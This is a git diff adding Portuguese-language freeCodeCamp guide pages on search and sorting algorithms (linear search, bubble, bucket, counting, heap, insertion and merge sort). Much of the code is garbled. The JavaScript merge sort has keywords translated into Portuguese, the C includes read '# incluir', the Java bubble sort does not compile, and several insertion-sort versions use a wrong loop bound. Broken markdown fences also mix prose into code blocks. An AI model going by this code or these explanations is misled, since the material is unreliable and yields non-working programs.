+  results = [] 
+ 
+  while counter < array.length 
+    if array[counter] == target 
+      results << counter 
+      counter += 1 
+    else 
+      counter += 1 
+    end 
+  end 
+ 
+  if results.empty? 
+    return nil 
+  else 
+    return results 
+  end 
+ end 
+```
+
+## Por que a pesquisa linear não é eficiente
+
+Não há dúvida de que a busca linear é simples, mas porque compara cada elemento um a um, consome tempo e, portanto, não é muito eficiente. Se tivermos que encontrar um número, digamos, o número e número de 1000000 estiver no último local, a técnica de busca linear se tornará bastante entediante. Então, aprenda também sobre bubble sort, quick sort etc.
+
+#### Vídeo relevante:
+
+#### Outros recursos
+
+[Pesquisa Linear - CS50](https://www.youtube.com/watch?v=vZWfKBdSgXI)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/search-algorithms/searching-linked-lists-versus-arrays/index.md b/client/src/guide/portuguese/algorithms/search-algorithms/searching-linked-lists-versus-arrays/index.md
new file mode 100644
index 0000000000..6098caeb2b
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/search-algorithms/searching-linked-lists-versus-arrays/index.md
@@ -0,0 +1,23 @@
+---
+title: Searching Linked Lists Versus Arrays
+localeTitle: Pesquisando Listas Vinculadas Versus Arrays
+---
+## Pesquisando Listas Vinculadas Versus Arrays
+
+Suponha que você precise procurar um elemento em uma lista e array vinculados _não classificados_ . Nesse caso, você precisa fazer uma pesquisa linear (lembre-se, não classificada). Fazer uma pesquisa linear por um elemento em qualquer estrutura de dados será uma operação O (n).
+
+Agora, se você tiver uma lista e uma matriz vinculadas _ordenadas_ , ainda poderá pesquisar em ambas as estruturas de dados no tempo O (log n) usando a Pesquisa binária. Embora, seja um pouco entediante codificar enquanto estiver usando listas vinculadas.
+
+Listas vinculadas geralmente são preferidas em arrays, onde a inserção é uma operação freqüente. É mais fácil inserir em listas vinculadas, pois apenas um ponteiro é alterado. Mas, para inserir em uma matriz (o meio ou o começo), você precisa mover todos os elementos após o que você insere. Outro lugar onde você deve usar listas vinculadas é onde o tamanho é incerto (você não sabe o tamanho quando está começando), porque as matrizes têm tamanho fixo.
+
+Os arrays fornecem algumas vantagens sobre as listas vinculadas:
+
+1.  Acesso aleatório
+2.  Menos memória em comparação com listas vinculadas
+3.  Matrizes têm melhor localidade de cache, proporcionando melhor desempenho
+
+Depende completamente do caso de uso para saber se matrizes ou listas vinculadas são melhores.
+
+### Mais Informações:
+
+*   A abordagem de um programador de olhar para a lista interligada versus matriz: [Geeks para Geeks](http://www.geeksforgeeks.org/programmers-approach-looking-array-vs-linked-list/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/sorting-algorithms/bubble-sort/index.md b/client/src/guide/portuguese/algorithms/sorting-algorithms/bubble-sort/index.md
new file mode 100644
index 0000000000..17c53f6d14
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/sorting-algorithms/bubble-sort/index.md
@@ -0,0 +1,154 @@
+---
+title: Bubble Sort
+localeTitle: Tipo de bolha
+---
+## Tipo de bolha
+
+O Bubble Sort é o algoritmo de ordenação mais simples que funciona trocando repetidamente os elementos adjacentes se eles estiverem na ordem errada.
+
+Este é um algoritmo de ordenação muito lento em comparação com algoritmos como o quicksort, com a complexidade do pior caso O (n ^ 2). No entanto, a desvantagem é que o bubble sort é um dos algoritmos de ordenação mais fáceis de implementar do zero.
+
+### Exemplo:
+
+#### Primeiro passe:
+
+(5 1 4 2 8) -> (1 5 4 2 8), Aqui, o algoritmo compara os dois primeiros elementos e troca desde 5> 1.
+
+(1 5 4 2 8) -> (1 4 5 2 8), Trocar desde 5> 4
+
+(1 4 5 2 8) -> (1 4 2 5 8), Trocar desde 5> 2
+
+(1 4 2 5 8) -> (1 4 2 5 8), Agora, como esses elementos já estão em ordem (8> 5), o algoritmo não os troca.
+
+#### Segundo Passe:
+
+(1 4 2 5 8) -> (1 4 2 5 8)
+
+(1 4 2 5 8) -> (1 2 4 5 8), Troca desde 4> 2
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+Agora, a matriz já está classificada, mas nosso algoritmo não sabe se está concluído. O algoritmo precisa de um passe inteiro sem qualquer troca para saber se está classificado.
+
+#### Terceira passagem:
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+(1 2 4 5 8) -> (1 2 4 5 8)
+
+#### Propriedades
+
+*   Complexidade do espaço: O (1)
+*   Melhor desempenho do case: O (n)
+*   Desempenho médio do caso: O (n \* n)
+*   Desempenho pior caso: O (n \* n)
+*   Estável: sim
+
+### Explicação de vídeo
+
+[Tipo de bolha de maneira fácil](https://www.youtube.com/watch?v=Jdtq5uKz-w4)
+
+Este código usará bubble sort para classificar o array.
+
+```js
+let arr = [1, 4, 7, 45, 7,43, 44, 25, 6, 4, 6, 9]; 
+ let sorted = false 
+ 
+ while(!sorted) { 
+  sorted = true 
+  for(var i=0; i < arr.length; i++) { 
+    if(arr[i] < arr[i-1]) { 
+      let temp = arr[i]; 
+      arr[i] = arr[i-1]; 
+      arr[i-1] = temp; 
+      sorted = false; 
+    } 
+  } 
+ } 
+```
+
+### Propriedades:
+
+*   Complexidade Espacial: O (1)
+*   Complexidade do Tempo: O (n), O (n \* n), O (n \* n) para os casos Melhor, Médio e Pior, respectivamente.
+*   No lugar: sim
+*   Estável: sim
+
+\======= Aqui está o algoritmo escrito em Java.
+
+```java
+public class bubble-sort { 
+    static void sort(int[] arr) { 
+        int n = arr.length; 
+        int temp = 0; 
+         for(int i=0; i < n; i++){ 
+                 for(int x=1; x < (ni); x++){ 
+                          if(arr[x-1] > arr[x]){ 
+                                 temp = arr[x-1]; 
+                                 arr[x-1] = arr[x]; 
+                                 arr[x] = temp; 
+                         } 
+ 
+                 } 
+         } 
+ 
+    } 
+    public static void main(String[] args) { 
+ 
+        for(int i=0; i < 15; i++){ 
+            int arr[i] = (int)(Math.random() * 100 + 1); 
+        } 
+ 
+                System.out.println("array before sorting\n"); 
+                for(int i=0; i < arr.length; i++){ 
+                        System.out.print(arr[i] + " "); 
+                } 
+                bubbleSort(arr); 
+                System.out.println("\n array after sorting\n"); 
+                for(int i=0; i < arr.length; i++){ 
+                        System.out.print(arr[i] + " "); 
+                } 
+ 
+        } 
+ } 
+```
+
+\=======
+
+### A implementação recursiva do Bubble Sort.
+
+```c++
+void bubblesort(int arr[], int n) 
+ { 
+    if(n==1)    //Initial Case 
+        return; 
+ 
+    for(int i=0;i<n-1;i++)  //After this pass the largest element will move to its desired location. 
+    { 
+        if(arr[i]>arr[i+1]) 
+        { 
+            temp=arr[i]; 
+            arr[i]=arr[i+1]; 
+            arr[i+1]=temp; 
+        } 
+    } 
+ 
+    bubblesort(arr,n-1);    //Recursion for remaining array 
+ } 
+```
+
+### Mais Informações
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Bubble_sort)
+*   [Algoritmo de classificação de bolhas - CS50](https://youtu.be/Ui97-_n5xjo)
+*   [Algoritmo de classificação de bolhas - GeeksForGeeks (artigo)](http://www.geeksforgeeks.org/bubble-sort)
+*   [Algoritmo de Classificação de Bolhas - MyCodeSchool (video)](https://www.youtube.com/watch?v=Jdtq5uKz-w4)
+*   [Algoritmos: Bubble Sort - HackerRank (vídeo)](https://www.youtube.com/watch?v=6Gv8vg0kcHc)
+*   [Algoritmo de classificação de bolhas - GeeksForGeeks (vídeo)](https://www.youtube.com/watch?v=nmhjrI-aW5o)
+*   [Visualização de classificação de bolhas](https://www.hackerearth.com/practice/algorithms/sorting/bubble-sort/visualize/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/sorting-algorithms/bucket-sort/index.md b/client/src/guide/portuguese/algorithms/sorting-algorithms/bucket-sort/index.md
new file mode 100644
index 0000000000..5fd5b050b1
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/sorting-algorithms/bucket-sort/index.md
@@ -0,0 +1,46 @@
+---
+title: Bucket Sort
+localeTitle: Tipo de balde
+---
+## O que é o Bucket Sort?
+
+A classificação de bucket é um algoritmo de classificação de comparação que opera nos elementos, dividindo-os em diferentes buckets e, em seguida, classificando esses buckets individualmente. Cada bucket é classificado individualmente usando um algoritmo de classificação separado ou aplicando o algoritmo de ordenação de bucket recursivamente. A classificação de bucket é principalmente útil quando a entrada é distribuída uniformemente em um intervalo.
+
+## Suponha que um deles tenha o seguinte problema na frente deles:
+
+Uma recebeu uma grande quantidade de inteiros de ponto flutuante que se encontram uniformemente entre o limite inferior e superior. Este array agora precisa ser classificado. Uma maneira simples de resolver esse problema seria usar outro algoritmo de classificação, como Merge sort, Heap Sort ou Quick Sort. Contudo, Esses algoritmos garantem uma melhor complexidade de tempo de O (NlogN). No entanto, usando a classificação de bucket, a tarefa acima pode ser concluída no tempo O (N).
+
+Vamos dar uma olhada mais de perto.
+
+Considere que é necessário criar uma matriz de listas, ou seja, de buckets. Os elementos agora precisam ser inseridos nesses buckets com base em suas propriedades. Cada um desses buckets pode ser classificado individualmente usando o Insertion Sort.
+
+### Pseudocódigo para o tipo de balde:
+```
+void bucketSort(float[] a,int n) 
+ 
+ { 
+ 
+    for(each floating integer 'x' in n) 
+ 
+    { 
+ 
+        insert x into bucket[n*x]; 
+ 
+    } 
+ 
+    for(each bucket) 
+ 
+    { 
+ 
+        sort(bucket); 
+ 
+    } 
+ 
+ } 
+```
+
+### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Bucket_sort)
+    
+*   [GeeksForGeeks](http://www.geeksforgeeks.org/bucket-sort-2/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/sorting-algorithms/counting-sort/index.md b/client/src/guide/portuguese/algorithms/sorting-algorithms/counting-sort/index.md
new file mode 100644
index 0000000000..22e03aed88
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/sorting-algorithms/counting-sort/index.md
@@ -0,0 +1,56 @@
+---
+title: Counting Sort
+localeTitle: Contagem de classificação
+---
+## Contagem de classificação
+
+Classificação de contagem é uma técnica de classificação baseada em chaves entre um intervalo específico. Ele funciona contando o número de objetos com valores-chave distintos (tipo de hashing). Em seguida, fazendo alguma aritmética para calcular a posição de cada objeto na seqüência de saída.
+
+### Exemplo:
+```
+For simplicity, consider the data in the range 0 to 9. 
+ Input data: 1, 4, 1, 2, 7, 5, 2 
+  1) Take a count array to store the count of each unique object. 
+  Index:     0  1  2  3  4  5  6  7  8  9 
+  Count:     0  2  2  0  1  1  0  1  0  0 
+ 
+  2) Modify the count array such that each element at each index 
+  stores the sum of previous counts. 
+  Index:     0  1  2  3  4  5  6  7  8  9 
+  Count:     0  2  4  4  5  6  6  7  7  7 
+ 
+ The modified count array indicates the position of each object in 
+ the output sequence. 
+ 
+  3) Output each object from the input sequence followed by 
+  decreasing its count by 1. 
+  Process the input data: 1, 4, 1, 2, 7, 5, 2. Position of 1 is 2. 
+  Put data 1 at index 2 in output. Decrease count by 1 to place 
+  next data 1 at an index 1 smaller than this index. 
+```
+
+### Implementação
+
+```js
+let numbers = [1, 4, 1, 2, 7, 5, 2]; 
+ let count = []; 
+ let i, z = 0; 
+ let max = Math.max(...numbers); 
+ // initialize counter 
+ for (i = 0; i <= max; i++) { 
+    count[i] = 0; 
+ } 
+ for (i=0; i < numbers.length; i++) { 
+    count[numbers[i]]++; 
+ } 
+ for (i = 0; i <= max; i++) { 
+    while (count[i]-- > 0) { 
+        numbers[z++] = i; 
+    } 
+ } 
+ // output sorted array 
+ for (i=0; i < numbers.length; i++) { 
+    console.log(numbers[i]); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/sorting-algorithms/heap-sort/index.md b/client/src/guide/portuguese/algorithms/sorting-algorithms/heap-sort/index.md
new file mode 100644
index 0000000000..7b76e7456d
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/sorting-algorithms/heap-sort/index.md
@@ -0,0 +1,133 @@
+---
+title: Heapsort
+localeTitle: Heapsort
+---
+## Heapsort
+
+O Heapsort é um algoritmo de classificação eficiente baseado no uso de pilhas máximas / mínimas. Um heap é uma estrutura de dados baseada em árvore que satisfaz a propriedade heap - ou seja, para um heap máximo, a chave de qualquer nó é menor ou igual à chave de seu pai (se tiver um pai). Essa propriedade pode ser aproveitada para acessar o elemento máximo no heap no tempo O (logn) usando o método maxHeapify. Realizamos essa operação n vezes, cada vez movendo o elemento máximo no heap para o topo do heap e extraindo-o do heap para um array ordenado. Assim, após n iterações, teremos uma versão ordenada do array de entrada. Esse algoritmo é executado em tempo O (nlogn) e O (1) espaço adicional \[O (n), incluindo o espaço necessário para armazenar os dados de entrada\], uma vez que todas as operações são executadas inteiramente no local.
+
+A pior e a média de tempo de caso do Heapsort é O (nlogn). Embora o heapsort tenha uma complexidade de pior caso pior que o quicksort, um quicksort bem implementado é executado mais rapidamente na prática. Este é um algoritmo baseado em comparação para que possa ser usado para conjuntos de dados não-numéricos na medida em que alguma relação (propriedade de heap) possa ser definida sobre os elementos.
+
+Uma implementação em Java é mostrada abaixo:
+
+```java
+import java.util.Arrays; 
+ public class Heapsort { 
+ 
+    public static void main(String[] args) { 
+        //test array 
+        Integer[] arr = {1, 4, 3, 2, 64, 3, 2, 4, 5, 5, 2, 12, 14, 5, 3, 0, -1}; 
+        String[] strarr = {"hope you find this helpful!", "wef", "rg", "q2rq2r", "avs", "erhijer0g", "ewofij", "gwe", "q", "random"}; 
+        arr = heapsort(arr); 
+        strarr = heapsort(strarr); 
+        System.out.println(Arrays.toString(arr)); 
+        System.out.println(Arrays.toString(strarr)); 
+    } 
+ 
+    //O(nlogn) TIME, O(1) SPACE, NOT STABLE 
+    public static <E extends Comparable<E>> E[] heapsort(E[] arr){ 
+        int heaplength = arr.length; 
+        for(int i = arr.length/2; i>0;i--){ 
+            arr = maxheapify(arr, i, heaplength); 
+        } 
+ 
+        for(int i=arr.length-1;i>=0;i--){ 
+            E max = arr[0]; 
+            arr[0] = arr[i]; 
+            arr[i] = max; 
+            heaplength--; 
+            arr = maxheapify(arr, 1, heaplength); 
+        } 
+ 
+        return arr; 
+    } 
+ 
+    //Creates maxheap from array 
+    public static <E extends Comparable<E>> E[] maxheapify(E[] arr, Integer node, Integer heaplength){ 
+        Integer left = node*2; 
+        Integer right = node*2+1; 
+        Integer largest = node; 
+ 
+        if(left.compareTo(heaplength) <=0 && arr[left-1].compareTo(arr[node-1]) >= 0){ 
+            largest = left; 
+        } 
+        if(right.compareTo(heaplength) <= 0 && arr[right-1].compareTo(arr[largest-1]) >= 0){ 
+            largest = right; 
+        } 
+        if(largest != node){ 
+            E temp = arr[node-1]; 
+            arr[node-1] = arr[largest-1]; 
+            arr[largest-1] = temp; 
+            maxheapify(arr, largest, heaplength); 
+        } 
+        return arr; 
+    } 
+ } 
+```
+
+implementação em C ++
+
+```C++
+#include <iostream> 
+ using namespace std; 
+ void heapify(int arr[], int n, int i) 
+ { 
+    int largest = i; 
+    int l = 2*i + 1; 
+    int r = 2*i + 2; 
+    if (l < n && arr[l] > arr[largest]) 
+        largest = l; 
+    if (r < n && arr[r] > arr[largest]) 
+        largest = r; 
+    if (largest != i) 
+    { 
+        swap(arr[i], arr[largest]); 
+ 
+ 
+        heapify(arr, n, largest); 
+    } 
+ } 
+ 
+ 
+ void heapSort(int arr[], int n) 
+ { 
+ 
+    for (int i = n / 2 - 1; i >= 0; i--) 
+        heapify(arr, n, i); 
+ 
+ 
+    for (int i=n-1; i>=0; i--) 
+    { 
+ 
+        swap(arr[0], arr[i]); 
+ 
+ 
+        heapify(arr, i, 0); 
+    } 
+ } 
+ void printArray(int arr[], int n) 
+ { 
+    for (int i=0; i<n; ++i) 
+        cout << arr[i] << " "; 
+    cout << "\n"; 
+ } 
+ int main() 
+ { 
+    int arr[] = {12, 11, 13, 5, 6, 7}; 
+    int n = sizeof(arr)/sizeof(arr[0]); 
+ 
+    heapSort(arr, n); 
+ 
+    cout << "Sorted array is \n"; 
+    printArray(arr, n); 
+ } 
+```
+
+### Visualização
+
+*   [USFCA](https://www.cs.usfca.edu/~galles/visualization/HeapSort.html)
+*   [HackerEarth](https://www.hackerearth.com/practice/algorithms/sorting/heap-sort/tutorial/)
+
+#### Mais Informações:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Quicksort)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/sorting-algorithms/index.md b/client/src/guide/portuguese/algorithms/sorting-algorithms/index.md
new file mode 100644
index 0000000000..dd8e855c72
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/sorting-algorithms/index.md
@@ -0,0 +1,54 @@
+---
+title: Sorting Algorithms
+localeTitle: Algoritmos de Ordenação
+---
+## Algoritmos de Ordenação
+
+Os algoritmos de ordenação são um conjunto de instruções que tomam uma matriz ou lista como uma entrada e organizam os itens em uma ordem específica.
+
+Ordens são mais comumente numéricas ou em uma forma de ordem alfabética (chamada lexicográfica), e podem estar em ordem ascendente (AZ, 0-9) ou decrescente (ZA, 9-0).
+
+### Por que os algoritmos de classificação são importantes
+
+Como a classificação geralmente pode reduzir a complexidade de um problema, é um algoritmo importante em Ciência da Computação. Esses algoritmos têm aplicações diretas em algoritmos de pesquisa, algoritmos de banco de dados, métodos de divisão e conquista, algoritmos de estrutura de dados e muito mais.
+
+### Alguns Algoritmos de Ordenação Comuns
+
+Alguns dos algoritmos de classificação mais comuns são:
+
+*   Seleção de seleção
+*   Tipo de bolha
+*   Tipo de Inserção
+*   Merge Sort
+*   Ordenação rápida
+*   Classificação de pilha
+*   Contagem de classificação
+*   Radix Sort
+*   Tipo de balde
+
+### Classificação do Algoritmo de Ordenação
+
+Os algoritmos de classificação podem ser categorizados com base nos seguintes parâmetros:
+
+1.  Baseado no Número de Trocas ou Inversão Esse é o número de vezes que o algoritmo troca elementos para classificar a entrada. `Selection Sort` requer o número mínimo de trocas.
+    
+2.  Baseado no número de comparações Esse é o número de vezes que o algoritmo compara elementos para classificar a entrada. Usando [a notação Big-O](https://guide.freecodecamp.org/computer-science/notation/big-o-notation/) , os exemplos de algoritmos de ordenação listados acima requerem pelo menos comparações `O(nlogn)` no melhor caso e comparações `O(n^2)` no pior caso para a maioria das saídas.
+    
+3.  Baseado em recursão ou não-recursão Alguns algoritmos de classificação, como o `Quick Sort` , usam técnicas recursivas para classificar a entrada. Outros algoritmos de classificação, como `Selection Sort` ou `Insertion Sort` , usam técnicas não recursivas. Finalmente, algum algoritmo de ordenação, como o `Merge Sort` , utiliza tanto técnicas recursivas quanto não-recursivas para classificar a entrada.
+    
+4.  Baseado na estabilidade Os algoritmos de ordenação são considerados `stable` se o algoritmo mantiver a ordem relativa de elementos com chaves iguais. Em outras palavras, dois elementos equivalentes permanecem na mesma ordem na saída classificada como estavam na entrada.
+    
+
+*   `Insertion sort` , a `Insertion sort` `Merge Sort` e a `Bubble Sort` são estáveis
+*   `Heap Sort` e a `Heap Sort` `Quick Sort` não são estáveis
+
+1.  Baseado no requisito de espaço extra Algoritmos de ordenação são ditos estarem `in place` se eles precisarem de um espaço extra `O(1)` constante para ordenar.
+
+*   `Insertion sort` e `Insertion sort` `Quick-sort` estão `in place` ordenar como nós movemos os elementos sobre o pivô e não realmente usar uma matriz separada que não é o caso na merge sort onde o tamanho da entrada deve ser alocado antecipadamente para armazenar a saída durante o ordenar.
+    
+*   `Merge Sort` é um exemplo de ordenação `out place` , pois requer espaço extra de memória para suas operações.
+    
+
+### Melhor complexidade de tempo possível para qualquer classificação baseada em comparação
+
+Qualquer algoritmo de ordenação baseado em comparação deve fazer pelo menos comparações nLog2n para ordenar o array de entrada, e heapsort e merge sort são tipos de comparação assintoticamente ideais. Isto pode ser facilmente provado desenhando o diagrama de árvore de desígnio.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/sorting-algorithms/insertion-sort/index.md b/client/src/guide/portuguese/algorithms/sorting-algorithms/insertion-sort/index.md
new file mode 100644
index 0000000000..2f2c3437fb
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/sorting-algorithms/insertion-sort/index.md
@@ -0,0 +1,191 @@
+---
+title: Insertion Sort
+localeTitle: Tipo de Inserção
+---
+## Tipo de Inserção
+
+A ordenação de inserção é o algoritmo de ordenação mais simples e eficiente para um pequeno número de elementos.
+
+### Exemplo:
+
+Na ordenação de inserção, você compara o elemento- `key` com os elementos anteriores. Se os elementos anteriores forem maiores que o elemento- `key` , você moverá o elemento anterior para a próxima posição.
+
+Comece do índice 1 ao tamanho da matriz de entrada.
+
+\[8 3 5 1 4 2\]
+
+Passo 1 :
+
+! [\[8 3 5 1 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/1.png?raw=true)
+```
+      key = 3 //starting from 1st index. 
+ 
+      Here `key` will be compared with the previous elements. 
+ 
+      In this case, `key` is compared with 8. since 8 > 3, move the element 8 
+      to the next position and insert `key` to the previous position. 
+ 
+      Result: [ 3 8 5 1 4 2 ] 
+```
+
+Passo 2 :
+
+! [\[3 8 5 1 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/2.png?raw=true)
+```
+      key = 5 //2nd index 
+ 
+      8 > 5 //move 8 to 2nd index and insert 5 to the 1st index. 
+ 
+      Result: [ 3 5 8 1 4 2 ] 
+```
+
+Etapa 3 :
+
+! [\[3 5 8 1 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/3.png?raw=true)
+```
+      key = 1 //3rd index 
+ 
+      8 > 1     => [ 3 5 1 8 4 2 ] 
+ 
+      5 > 1     => [ 3 1 5 8 4 2 ] 
+ 
+      3 > 1     => [ 1 3 5 8 4 2 ] 
+ 
+      Result: [ 1 3 5 8 4 2 ] 
+```
+
+Passo 4 :
+
+! [\[1 3 5 8 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/4.png?raw=true)
+```
+      key = 4 //4th index 
+ 
+      8 > 4   => [ 1 3 5 4 8 2 ] 
+ 
+      5 > 4   => [ 1 3 4 5 8 2 ] 
+ 
+      3 > 4   ≠>  stop 
+ 
+      Result: [ 1 3 4 5 8 2 ] 
+```
+
+Passo 5:
+
+! [\[1 3 4 5 8 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/5.png?raw=true)
+```
+      key = 2 //5th index 
+ 
+      8 > 2   => [ 1 3 4 5 2 8 ] 
+ 
+      5 > 2   => [ 1 3 4 2 5 8 ] 
+ 
+      4 > 2   => [ 1 3 2 4 5 8 ] 
+ 
+      3 > 2   => [ 1 2 3 4 5 8 ] 
+ 
+      1 > 2   ≠> stop 
+ 
+      Result: [1 2 3 4 5 8] 
+```
+
+! [\[1 2 3 4 5 8\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/6.png?raw=true)
+
+O algoritmo abaixo é uma versão ligeiramente otimizada para evitar a troca do elemento- `key` em cada iteração. Aqui, o elemento- `key` será trocado no final da iteração (etapa).
+
+```Algorithm
+    InsertionSort(arr[]) 
+      for j = 1 to arr.length 
+         key = arr[j] 
+         i = j - 1 
+         while i > 0 and arr[i] > key 
+            arr[i+1] = arr[i] 
+            i = i - 1 
+         arr[i+1] = key 
+```
+
+Aqui está uma implementação detaied em Javascript:
+```
+function insertion_sort(A) { 
+    var len = array_length(A); 
+    var i = 1; 
+    while (i < len) { 
+        var x = A[i]; 
+        var j = i - 1; 
+        while (j >= 0 && A[j] > x) { 
+            A[j + 1] = A[j]; 
+            j = j - 1; 
+        } 
+        A[j+1] = x; 
+        i = i + 1; 
+    } 
+ } 
+```
+
+Uma implementação rápida no Swift é mostrada abaixo:
+
+```swift
+  var array = [8, 3, 5, 1, 4, 2] 
+ 
+  func insertionSort(array:inout Array<Int>) -> Array<Int>{ 
+      for j in 0..<array.count { 
+          let key = array[j] 
+          var i = j-1 
+ 
+          while (i > 0 && array[i] > key){ 
+              array[i+1] = array[i] 
+              i = i-1 
+          } 
+          array[i+1] = key 
+      } 
+      return array 
+  } 
+```
+
+O exemplo de Java é mostrado abaixo:
+```
+public int[] insertionSort(int[] arr) 
+      for (j = 1; j < arr.length; j++) { 
+         int key = arr[j] 
+         int i = j - 1 
+         while (i > 0 and arr[i] > key) { 
+            arr[i+1] = arr[i] 
+            i -= 1 
+         } 
+         arr[i+1] = key 
+      } 
+      return arr; 
+```
+
+### tipo de inserção em c….
+
+```C
+void insertionSort(int arr[], int n) 
+ { 
+   int i, key, j; 
+   for (i = 1; i < n; i++) 
+   { 
+       key = arr[i]; 
+       j = i-1; 
+       while (j >= 0 && arr[j] > key) 
+       { 
+           arr[j+1] = arr[j]; 
+           j = j-1; 
+       } 
+       arr[j+1] = key; 
+   } 
+ } 
+```
+
+### Propriedades:
+
+*   Complexidade Espacial: O (1)
+*   Complexidade do Tempo: O (n), O (n \* n), O (n \* n) para Melhor, Média, Piores Casos respectivamente
+*   Classificação no local: sim
+*   Estável: sim
+
+#### Outros recursos:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Insertion_sort)
+*   [CS50 - YouTube](https://youtu.be/TwGb6ohsvUU)
+*   [SortInsertion - GeeksforGeeks, YouTube](https://www.youtube.com/watch?v=wObxd4Kx8sE)
+*   [Visualização de ordenação de inserção](https://www.hackerearth.com/practice/algorithms/sorting/insertion-sort/visualize/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/sorting-algorithms/merge-sort/index.md b/client/src/guide/portuguese/algorithms/sorting-algorithms/merge-sort/index.md
new file mode 100644
index 0000000000..925695de4d
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/sorting-algorithms/merge-sort/index.md
@@ -0,0 +1,204 @@
+---
+title: Merge Sort
+localeTitle: Merge Sort
+---
+## Merge Sort
+
+Merge Sort é um algoritmo [Divide and Conquer](https://guide.freecodecamp.org/algorithms/divide-and-conquer-algorithms) . Ele divide a matriz de entrada em duas metades, chama-se para as duas metades e, em seguida, mescla as duas metades classificadas. A maior parte do algoritmo recebe dois arrays ordenados, temos que mesclá-los em um único array ordenado. Existe algo conhecido como o [Algoritmo de Dois Dedos](http://www.geeksforgeeks.org/merge-two-sorted-arrays/) que nos ajuda a juntar duas matrizes ordenadas. Usando esta sub-rotina e chamando a função de mesclagem de mesclagem nas metades da matriz recursivamente nos dará a matriz ordenada final que estamos procurando.
+
+Como esse é um algoritmo baseado em recursão, temos uma relação de recorrência para ele. Uma relação de recorrência é simplesmente uma maneira de representar um problema em termos de seus subproblemas.
+
+`T(n) = 2 * T(n / 2) + O(n)`
+
+Colocando-o em inglês simples, dividimos o subproblema em duas partes em cada etapa e temos uma quantidade linear de trabalho que temos que fazer para mesclar as duas metades classificadas juntas em cada etapa.
+```
+T(n) = 2T(n/2) + n 
+     = 2(2T(n/4) + n/2) + n 
+     = 4T(n/4) + n + n 
+     = 4(2T(n/8) + n/4) + n + n 
+     = 8T(n/8) + n + n + n 
+     = nT(n/n) + n + ... + n + n + n 
+     = n + n + ... + n + n + n 
+```
+
+Contando o número de repetições de n na soma no final, vemos que há lg n + 1 delas. Assim, o tempo de execução é n (lg n + 1) = n l n n + n. Observamos que n ng n + n <n lg n + n lg n = 2n lg n para n> 0, então o tempo de execução é O (n lg n).
+
+```Algorithm
+MergeSort(arr[], left,  right): 
+ If right > l: 
+     1. Find the middle point to divide the array into two halves: 
+             mid = (left+right)/2 
+     2. Call mergeSort for first half: 
+             Call mergeSort(arr, left, mid) 
+     3. Call mergeSort for second half: 
+             Call mergeSort(arr, mid+1, right) 
+     4. Merge the two halves sorted in step 2 and 3: 
+             Call merge(arr, left, mid, right) 
+ ``` 
+ 
+ ![Merge Sort Algorithm](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/Merge_sort_algorithm_diagram.svg/300px-Merge_sort_algorithm_diagram.svg.png) 
+ 
+ ### Properties: 
+ * Space Complexity: O(n) 
+ * Time Complexity: O(n*log(n)). The time complexity for the Merge Sort might not be obvious from the first glance. The log(n) factor that comes in is because of the recurrence relation we have mentioned before. 
+ * Sorting In Place: No in a typical implementation 
+ * Stable: Yes 
+ * Parallelizable :yes (Several parallel variants are discussed in the third edition of Cormen, Leiserson, Rivest, and Stein's Introduction to Algorithms.) 
+ 
+ ### Visualization: 
+ * <a href='https://www.cs.usfca.edu/~galles/visualization/ComparisonSort.html'>USFCA</a> 
+ * <a href='https://www.hackerearth.com/practice/algorithms/sorting/merge-sort/visualize/'>HackerEarth</a> 
+ 
+ 
+ ### Relavant videos on freeCodeCamp YouTube channel 
+ * <a href='https://youtu.be/TzeBrDU-JaY'>Merge Sort algorithm - MyCodeSchool</a> 
+ 
+ ### Other Resources: 
+ * <a href='https://en.wikipedia.org/wiki/Merge_sort' target='_blank' rel='nofollow'>Wikipedia</a> 
+ * <a href='www.geeksforgeeks.org/merge-sort' target='_blank' rel='nofollow'>GeeksForGeeks</a> 
+ * <a href='https://youtu.be/sWtYJv_YXbo' target='_blank' rel='nofollow'>Merge Sort - CS50</a> 
+ 
+ ### Implementaion in JS 
+```
+
+js lista const = \[23, 4, 42, 15, 16, 8, 3\]
+
+const mergeSort = (lista) => { if (list.length <= 1) lista de retorno; const middle = list.length / 2; const left = list.slice (0, middle); const right = list.slice (meio, list.length); mesclagem de retorno (mergeSort (esquerda), mergeSort (direita)); }
+
+const merge = (esquerda, direita) => { var result = \[\]; while (left.length || right.length) { if (left.length && right.length) { if (esquerda \[0\] <direita \[0\]) { result.push (left.shift ()) } outro { result.push (right.shift ()) } } else if (left.length) { result.push (left.shift ()) } outro { result.push (right.shift ()) } } resultado de retorno; }
+
+console.log (mergeSort (list)) // \[3, 4, 8, 15, 16, 23, 42\]
+```
+### Implementation in C 
+```
+
+C
+
+# incluir
+
+# incluir
+
